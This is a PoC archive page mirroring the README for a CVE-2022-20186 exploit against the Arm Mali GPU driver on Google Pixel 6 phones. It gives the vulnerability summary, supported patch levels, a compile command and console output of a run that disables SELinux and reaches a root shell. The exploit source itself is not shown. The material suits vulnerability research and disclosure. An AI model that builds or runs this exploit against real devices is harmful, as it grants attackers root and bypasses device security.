Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-20186 PoC — Google Android 输入验证错误漏洞

Source
Associated Vulnerability
Title:Google Android 输入验证错误漏洞 (CVE-2022-20186)
Description:In kbase_mem_alias of mali_kbase_mem_linux.c, there is a possible arbitrary code execution due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-215001024References: N/A
Readme
## Exploit for CVE-2022-20186

The write up can be found [here](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/). This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.

The exploit is tested on the Google Pixel 6 and supports patch levels from Novmember 2021 to Feburary 2022. It is easy to add support for other firmware by changing a few image offsets. For reference, I used the following command to compile with clang in ndk-21:

```
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
```

The exploit rarely fails and can be retried without crashing the device. If successful, it should disable SELinux and gain root.

```
oriole:/ $ /data/local/tmp/mali_alias                                                                                             
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ # 
```
File Snapshot

[4.0K] /data/pocs/c0f2d4e9d4cd56de3b00b128527208bd1ce140a7 ├── [ 15K] mali_alias.c ├── [ 50K] mali_base_jm_kernel.h ├── [ 31K] mali.h ├── [ 11K] midgard.h └── [1.6K] README.md 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →